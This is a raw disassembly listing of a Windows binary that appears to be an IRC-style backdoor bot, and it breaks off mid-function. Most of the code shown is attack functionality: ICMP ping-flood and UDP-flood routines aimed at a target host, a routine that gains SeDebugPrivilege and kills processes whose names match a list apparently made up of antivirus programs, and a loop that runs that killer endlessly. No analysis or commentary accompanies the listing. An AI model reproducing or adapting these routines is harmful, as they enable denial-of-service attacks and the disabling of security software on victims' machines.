; --------------------------------------------------------------------------- loc_40ACE1: ; CODE XREF: sub_40AC44+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_40AD66 ; --------------------------------------------------------------------------- loc_40ACE8: ; CODE XREF: sub_40AC44+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_40AD66 ; --------------------------------------------------------------------------- loc_40ACEF: ; CODE XREF: sub_40AC44+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_40AD66 ; --------------------------------------------------------------------------- loc_40ACF6: ; CODE XREF: sub_40AC44+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_40AD2F jz short loc_40AD28 sub eax, 8ADh jz short loc_40AD5A dec eax dec eax jz short loc_40AD21 dec eax jz short loc_40AD1A dec eax dec eax jnz short loc_40AD45 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_40AD66 ; --------------------------------------------------------------------------- loc_40AD1A: ; CODE XREF: sub_40AC44+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_40AD66 ; --------------------------------------------------------------------------- loc_40AD21: ; CODE XREF: sub_40AC44+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_40AD66 ; --------------------------------------------------------------------------- loc_40AD28: ; CODE XREF: sub_40AC44+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_40AD66 ; --------------------------------------------------------------------------- loc_40AD2F: ; CODE XREF: sub_40AC44+B9j sub eax, 8CAh jz short loc_40AD61 sub eax, 17h jz short loc_40AD5A sub eax, 25h jz short loc_40AD53 sub eax, 29h jz short loc_40AD4C loc_40AD45: ; CODE XREF: sub_40AC44+35j ; sub_40AC44+87j ... push offset aAnUnknownError ; "An unknown error occurred." jmp short loc_40AD66 ; --------------------------------------------------------------------------- loc_40AD4C: ; CODE XREF: sub_40AC44+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_40AD66 ; --------------------------------------------------------------------------- loc_40AD53: ; CODE XREF: sub_40AC44+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_40AD66 ; --------------------------------------------------------------------------- loc_40AD5A: ; CODE XREF: sub_40AC44+C2j ; sub_40AC44+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_40AD66 ; --------------------------------------------------------------------------- loc_40AD61: ; CODE XREF: sub_40AC44+F0j push offset aNetworkConnect ; "Network connection not found." loc_40AD66: ; CODE XREF: sub_40AC44+40j ; sub_40AC44+4Aj ... push offset dword_44BC58 call sub_418D70 pop ecx mov eax, offset dword_44BC58 pop ecx retn sub_40AC44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AD78 proc near ; CODE XREF: sub_40C50A+2220p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41B060 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi call ds:dword_4943B4 lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41B060 lea eax, [ebp+var_718] push eax call sub_41B030 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_44B6D0 test eax, eax jnz short loc_40AE08 mov esi, offset dword_44BA54 push offset aNetMessageSent ; "[NET]: Message sent successfully." push esi call sub_418D70 pop ecx pop ecx jmp short loc_40AE31 ; --------------------------------------------------------------------------- loc_40AE08: ; CODE XREF: sub_40AD78+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_40AC44 pop ecx mov esi, offset dword_44BA54 push eax push offset aNetSServerSMes ; "[NET]: %s <Server: %S> <Message: %S>" push esi call sub_418D70 add esp, 14h loc_40AE31: ; CODE XREF: sub_40AD78+8Ej mov eax, esi pop esi leave retn sub_40AD78 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 20h cmp dword ptr [ebp+8], 0 push esi jz loc_40AECB push offset dword_44C2D0 push dword ptr [ebp+8] call sub_419360 pop ecx test eax, eax pop ecx jz short loc_40AECB push 20h lea eax, [ebp-20h] push dword ptr [ebp+8] push eax call sub_4191A0 lea eax, [ebp-20h] push offset a__0 ; "." push eax call sub_419890 add esp, 14h test eax, eax jz short loc_40AECB push eax call sub_4195F0 mov dword ptr [esp], offset a__1 ; "." push 0 mov esi, eax call sub_419890 pop ecx test eax, eax pop ecx jz short loc_40AECB push eax call sub_4195F0 cmp esi, 0Ah pop ecx jz short loc_40AEC6 cmp esi, 0ACh jnz short loc_40AEB7 cmp eax, 0Fh jle short loc_40AECB cmp eax, 20h jl short loc_40AEC6 loc_40AEB7: ; CODE XREF: .text:0040AEABj cmp esi, 0C0h jnz short loc_40AECB cmp eax, 0A8h jnz short loc_40AECB loc_40AEC6: ; CODE XREF: .text:0040AEA3j ; .text:0040AEB5j push 1 pop eax jmp short loc_40AECD ; --------------------------------------------------------------------------- loc_40AECB: ; CODE XREF: .text:0040AE41j ; .text:0040AE58j ... xor eax, eax loc_40AECD: ; CODE XREF: .text:0040AEC9j pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_40AED0 proc near ; CODE XREF: sub_405026+7p ; sub_4064A6+83p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_44B700 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_40AEF8 push [esp+arg_0] call dword_44B744 ; gethostbyname test eax, eax jnz short loc_40AEF1 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40AEF1: ; CODE XREF: sub_40AED0+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40AEF8: ; CODE XREF: sub_40AED0+Dj retn sub_40AED0 endp ; =============== S U B R O U T I N E ======================================= sub_40AEF9 proc near ; CODE XREF: sub_40C22A+D6p mov ecx, dword_44B5E8 xor eax, eax test ecx, ecx jz short locret_40AF07 call ecx ; DnsFlushResolverCache locret_40AF07: ; CODE XREF: sub_40AEF9+Aj retn sub_40AEF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF08 proc near ; CODE XREF: sub_40C50A:loc_411BF7p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_44B73C ; GetIpNetTable mov ecx, eax sub ecx, edi jz loc_40AFD4 sub ecx, 32h jz loc_40AFCD sub ecx, 48h jz short loc_40AF68 sub ecx, 6Eh jz short loc_40AF61 push eax push offset aFlushdnsErrorG ; "[FLUSHDNS]: Error getting ARP cache: <%"... loc_40AF50: ; CODE XREF: sub_40AF08+91j lea eax, [ebp+var_88] push eax call sub_418D70 add esp, 0Ch jmp short loc_40AFAE ; --------------------------------------------------------------------------- loc_40AF61: ; CODE XREF: sub_40AF08+40j push offset aFlushdnsArpCac ; "[FLUSHDNS]: ARP cache is empty." jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF68: ; CODE XREF: sub_40AF08+3Bj push [ebp+var_8] call sub_416A10 push [ebp+var_8] mov esi, eax push edi push esi call sub_4189A0 add esp, 10h cmp esi, edi jz short loc_40AF9B lea eax, [ebp+var_8] push ebx push eax push esi call dword_44B73C ; GetIpNetTable cmp eax, edi jz short loc_40AFD4 push eax push offset aFlushdnsErro_0 ; "[FLUSHDNS]: Error getting ARP cache: <%"... jmp short loc_40AF50 ; --------------------------------------------------------------------------- loc_40AF9B: ; CODE XREF: sub_40AF08+79j push offset aFlushdnsUnable ; "[FLUSHDNS]: Unable to allocation ARP ca"... loc_40AFA0: ; CODE XREF: sub_40AF08+5Ej ; sub_40AF08+CAj lea eax, [ebp+var_88] push eax call sub_418D70 pop ecx pop ecx loc_40AFAE: ; CODE XREF: sub_40AF08+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_4035E1 pop ecx loc_40AFBE: ; CODE XREF: sub_40AF08+CEj ; sub_40AF08+E2j push esi call sub_417480 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40AFCD: ; CODE XREF: sub_40AF08+32j push offset aFlushdnsNotSup ; "[FLUSHDNS]: Not supported by this syste"... jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AFD4: ; CODE XREF: sub_40AF08+29j ; sub_40AF08+89j cmp [esi], edi jbe short loc_40AFBE lea ebx, [esi+4] loc_40AFDB: ; CODE XREF: sub_40AF08+E0j push ebx call dword_44B738 ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_40AFDB jmp short loc_40AFBE sub_40AF08 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AFEC proc near ; CODE XREF: sub_40119E+1Fp ; .text:00401810p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_4189A0 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_44B664 ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset dword_44C2BC movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D_0 ; "%d.%d.%d.%d" push esi call sub_418D70 add esp, 18h mov eax, esi pop esi leave retn sub_40AFEC endp ; =============== S U B R O U T I N E ======================================= sub_40B045 proc near ; CODE XREF: .text:00402F56p ; sub_404CEF+24Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40B06E mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40B061: ; CODE XREF: sub_40B045+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40B061 pop edi jmp short loc_40B072 ; --------------------------------------------------------------------------- loc_40B06E: ; CODE XREF: sub_40B045+Aj mov edx, [esp+4+arg_0] loc_40B072: ; CODE XREF: sub_40B045+27j test esi, esi pop esi jz short loc_40B07C movzx ecx, byte ptr [edx] add eax, ecx loc_40B07C: ; CODE XREF: sub_40B045+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40B045 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp-4], esi jle short loc_40B0BF mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_40B0B1: ; CODE XREF: .text:0040B0B9j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_40B0B1 pop edi cmp eax, 1 loc_40B0BF: ; CODE XREF: .text:0040B0A5j jnz short loc_40B0CC mov al, [edx] mov [ebp-4], al movzx eax, word ptr [ebp-4] add esi, eax loc_40B0CC: ; CODE XREF: .text:loc_40B0BFj mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B0E5 proc near ; DATA XREF: sub_40C50A+2E6Ao var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_418D40 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd push 1 pop edi mov [eax+120h], edi call dword_44B64C ; IcmpCreateFile mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_44B700 ; inet_addr mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_40B140 lea eax, [ebp+var_C0] push eax call dword_44B744 ; gethostbyname cmp eax, ebx jz short loc_40B146 loc_40B140: ; CODE XREF: sub_40B0E5+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_40B1A3 loc_40B146: ; CODE XREF: sub_40B0E5+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset aPingErrorSendi ; "[PING]: Error sending pings to %s." push eax call sub_418D70 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40B186 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40842D add esp, 14h loc_40B186: ; CODE XREF: sub_40B0E5+7Fj lea eax, [ebp+var_344] push eax call sub_4035E1 push [ebp+var_30] call sub_416507 pop ecx pop ecx push edi call ds:dword_4942FC loc_40B1A3: ; CODE XREF: sub_40B0E5+5Fj cmp eax, ebx jz short loc_40B1B3 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_40B1B6 ; --------------------------------------------------------------------------- loc_40B1B3: ; CODE XREF: sub_40B0E5+C0j mov [ebp+var_4], esi loc_40B1B6: ; CODE XREF: sub_40B0E5+CCj push 1Ch lea eax, [ebp+var_20] push ebx push eax call sub_4189A0 or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_40B1D6 mov [ebp+var_3C], eax loc_40B1D6: ; CODE XREF: sub_40B0E5+ECj cmp [ebp+var_38], edi jge short loc_40B1DE mov [ebp+var_38], edi loc_40B1DE: ; CODE XREF: sub_40B0E5+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_40B20B loc_40B1E5: ; CODE XREF: sub_40B0E5+124j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call dword_44B5E4 ; IcmpSendEcho inc esi cmp esi, [ebp+var_40] jl short loc_40B1E5 loc_40B20B: ; CODE XREF: sub_40B0E5+FEj push [ebp+arg_0] call dword_44B778 ; IcmpCloseHandle lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset aPingFinishedSe ; "[PING]: Finished sending pings to %s." push eax call sub_418D70 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40B254 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40842D add esp, 14h loc_40B254: ; CODE XREF: sub_40B0E5+14Dj lea eax, [ebp+var_344] push eax call sub_4035E1 push [ebp+var_30] call sub_416507 pop ecx pop ecx push ebx call ds:dword_4942FC sub_40B0E5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B271 proc near ; DATA XREF: sub_40C50A+2FB1o var_10312 = byte ptr -10312h var_10310 = byte ptr -10310h var_334 = byte ptr -334h var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call sub_418D40 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd push 1 pop esi mov [eax+120h], esi call ds:dword_494308 push eax call sub_418FF0 pop ecx push 11h push 2 push 2 call dword_44B740 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_4189A0 add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+var_10], 2 push eax call dword_44B700 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_40B356 lea eax, [ebp+var_B0] push eax call dword_44B744 ; gethostbyname cmp eax, edi jnz short loc_40B34F lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset aUdpErrorSendin ; "[UDP]: Error sending pings to %s." push eax call sub_418D70 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40B332 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_40842D add esp, 14h loc_40B332: ; CODE XREF: sub_40B271+9Fj lea eax, [ebp+var_334] push eax call sub_4035E1 push [ebp+var_20] call sub_416507 pop ecx pop ecx push esi call ds:dword_4942FC loc_40B34F: ; CODE XREF: sub_40B271+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_40B359 ; --------------------------------------------------------------------------- loc_40B356: ; CODE XREF: sub_40B271+6Ej lea eax, [ebp+arg_0] loc_40B359: ; CODE XREF: sub_40B271+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_40B374 call sub_419000 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_40B377 ; --------------------------------------------------------------------------- loc_40B374: ; CODE XREF: sub_40B271+F0j push [ebp+var_24] loc_40B377: ; CODE XREF: sub_40B271+101j call dword_44B6C0 ; htons cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_40B389 mov [ebp+var_24], esi loc_40B389: ; CODE XREF: sub_40B271+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_40B396 mov [ebp+var_24], eax loc_40B396: ; CODE XREF: sub_40B271+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_40B3AA mov [ebp+var_28], esi loc_40B3AA: ; CODE XREF: sub_40B271+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_40B3CB loc_40B3B1: ; CODE XREF: sub_40B271+158j call sub_419000 cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi-10311h], dl jl short loc_40B3B1 loc_40B3CB: ; CODE XREF: sub_40B271+13Ej ; sub_40B271+19Cj ... mov eax, [ebp+var_30] dec [ebp+var_30] test eax, eax jle short loc_40B42A push 0Bh pop esi loc_40B3D8: ; CODE XREF: sub_40B271+197j lea eax, [ebp+var_10] push 10h push eax push edi call sub_419000 push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call dword_44B724 ; sendto push [ebp+var_28] call ds:dword_4942D8 dec esi jnz short loc_40B3D8 cmp [ebp+var_24], edi jnz short loc_40B3CB call sub_419000 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_44B6C0 ; htons mov [ebp+var_E], ax jmp short loc_40B3CB ; --------------------------------------------------------------------------- loc_40B42A: ; CODE XREF: sub_40B271+162j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset aUdpFinishedSen ; "[UDP]: Finished sending packets to %s." push eax call sub_418D70 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40B46A push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_40842D add esp, 14h loc_40B46A: ; CODE XREF: sub_40B271+1D7j lea eax, [ebp+var_334] push eax call sub_4035E1 push [ebp+var_20] call sub_416507 pop ecx pop ecx push edi call ds:dword_4942FC sub_40B271 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B487 proc near ; CODE XREF: sub_405C86+45p ; sub_405C86+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call ds:dword_494290 push eax call dword_44B6A4 ; OpenProcessToken test eax, eax jnz short loc_40B4A6 leave retn ; --------------------------------------------------------------------------- loc_40B4A6: ; CODE XREF: sub_40B487+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_44B67C ; LookupPrivilegeValueA test eax, eax jz short loc_40B4E4 cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_40B4CD or [ebp+var_8], 2 jmp short loc_40B4D1 ; --------------------------------------------------------------------------- loc_40B4CD: ; CODE XREF: sub_40B487+3Ej and [ebp+var_8], 0FFFFFFFDh loc_40B4D1: ; CODE XREF: sub_40B487+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_44B72C ; AdjustTokenPrivileges mov esi, eax loc_40B4E4: ; CODE XREF: sub_40B487+32j push [ebp+var_4] call ds:dword_4942E0 mov eax, esi pop esi leave retn sub_40B487 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4F2 proc near ; CODE XREF: sub_40B735+74p ; sub_40B84A+Ap ... var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_44B6E0, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_40B705 cmp dword_44B6C4, ebx jz loc_40B705 cmp dword_44B5E0, ebx jz loc_40B705 push 1 push offset aSedebugprivi_1 ; "SeDebugPrivilege" call sub_40B487 pop ecx pop ecx push ebx push 0Fh call dword_44B6E0 ; CreateToolhelp32Snapshot mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_40B6F8 lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_44B6C4 ; Process32First mov esi, ds:dword_4942E0 test eax, eax jz loc_40B6F3 lea eax, [ebp+var_130] push eax push edi call dword_44B5E0 ; Process32Next test eax, eax jz loc_40B6F3 mov edi, ds:dword_494370 mov ebx, 1F0FFFh loc_40B5B6: ; CODE XREF: sub_40B4F2+1F9j xor eax, eax cmp [ebp+arg_10], eax jz short loc_40B61D mov [ebp+var_4], offset off_43B340 loc_40B5C4: ; CODE XREF: sub_40B4F2+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax call ds:dword_4943BC test eax, eax jz short loc_40B5EC add [ebp+var_4], 4 cmp [ebp+var_4], offset aAckwin32_exe ; "ACKWIN32.EXE" jl short loc_40B5C4 jmp loc_40B6D9 ; --------------------------------------------------------------------------- loc_40B5EC: ; CODE XREF: sub_40B4F2+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_40B6D9 push 0 push eax call ds:dword_4943B8 test eax, eax jnz loc_40B6D9 loc_40B613: ; CODE XREF: sub_40B4F2+1CDj push [ebp+var_4] call esi jmp loc_40B6D9 ; --------------------------------------------------------------------------- loc_40B61D: ; CODE XREF: sub_40B4F2+C9j cmp [ebp+arg_C], eax jnz loc_40B6C4 cmp [ebp+arg_4], eax jz loc_40B6D9 push [ebp+var_128] push 8 call dword_44B6E0 ; CreateToolhelp32Snapshot cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_40B684 lea ecx, [ebp+var_354] push ecx push eax call dword_44B58C ; Module32First push [ebp+var_128] test eax, eax jz short loc_40B676 lea eax, [ebp+var_234] push eax push offset aSD_0 ; " %s (%d)" jmp short loc_40B696 ; --------------------------------------------------------------------------- loc_40B676: ; CODE XREF: sub_40B4F2+174j lea eax, [ebp+var_10C] push eax push offset aSD_1 ; " %s (%d)" jmp short loc_40B696 ; --------------------------------------------------------------------------- loc_40B684: ; CODE XREF: sub_40B4F2+15Cj push [ebp+var_128] lea eax, [ebp+var_10C] push eax push offset aSD_2 ; " %s (%d)" loc_40B696: ; CODE XREF: sub_40B4F2+182j ; sub_40B4F2+190j lea eax, [ebp+var_554] push eax call sub_418D70 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 14h jmp loc_40B613 ; --------------------------------------------------------------------------- loc_40B6C4: ; CODE XREF: sub_40B4F2+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_419360 pop ecx test eax, eax pop ecx jz short loc_40B70C loc_40B6D9: ; CODE XREF: sub_40B4F2+F5j ; sub_40B4F2+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_44B5E0 ; Process32Next test eax, eax jnz loc_40B5B6 xor ebx, ebx loc_40B6F3: ; CODE XREF: sub_40B4F2+9Dj ; sub_40B4F2+B3j push [ebp+var_8] call esi loc_40B6F8: ; CODE XREF: sub_40B4F2+77j push ebx push offset aSedebugprivi_2 ; "SeDebugPrivilege" call sub_40B487 pop ecx pop ecx loc_40B705: ; CODE XREF: sub_40B4F2+3Aj ; sub_40B4F2+46j ... xor eax, eax loc_40B707: ; CODE XREF: sub_40B4F2+241j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40B70C: ; CODE XREF: sub_40B4F2+1E5j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi call ds:dword_4943B8 test eax, eax jnz short loc_40B730 push edi call esi jmp short loc_40B705 ; --------------------------------------------------------------------------- loc_40B730: ; CODE XREF: sub_40B4F2+237j push 1 pop eax jmp short loc_40B707 sub_40B4F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B735 proc near ; DATA XREF: sub_40C50A+594Eo var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset aProcListingPro ; "[PROC]: Listing processes:" rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_418D70 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_40B794 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40842D add esp, 14h loc_40B794: ; CODE XREF: sub_40B735+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_40B4F2 add esp, 18h test eax, eax jnz short loc_40B7BC push offset aProcProcessLis ; "[PROC]: Process list completed." jmp short loc_40B7C1 ; --------------------------------------------------------------------------- loc_40B7BC: ; CODE XREF: sub_40B735+7Ej push offset aProcProcessL_0 ; "[PROC]: Process list failed." loc_40B7C1: ; CODE XREF: sub_40B735+85j lea eax, [ebp+var_298] push eax call sub_418D70 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_40B7F4 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40842D add esp, 14h loc_40B7F4: ; CODE XREF: sub_40B735+9Dj lea eax, [ebp+var_298] push eax call sub_4035E1 push [ebp+var_14] call sub_416507 pop ecx pop ecx push esi call ds:dword_4942FC pop edi pop esi sub_40B735 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40B813 proc near ; CODE XREF: sub_40C50A+4B12p ; sub_416326+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call ds:dword_494370 mov esi, eax test esi, esi jz short loc_40B845 push 0 push esi call ds:dword_4943B8 test eax, eax jnz short loc_40B845 push esi xor edi, edi call ds:dword_4942E0 loc_40B845: ; CODE XREF: sub_40B813+1Aj ; sub_40B813+27j mov eax, edi pop edi pop esi retn sub_40B813 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B84A proc near ; DATA XREF: sub_40BBCB+3CAo push esi xor esi, esi loc_40B84D: ; CODE XREF: sub_40B84A+1Ej push 1 push esi push esi push esi push esi push esi call sub_40B4F2 add esp, 18h push dword_43B33C call ds:dword_4942D8 jmp short loc_40B84D sub_40B84A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B86A proc near ; DATA XREF: sub_40C50A+1C99o var_102B4 = byte ptr -102B4h var_102AB = byte ptr -102ABh var_102A8 = dword ptr -102A8h var_102A0 = dword ptr -102A0h var_10293 = byte ptr -10293h var_1028C = byte ptr -1028Ch var_2B4 = byte ptr -2B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = 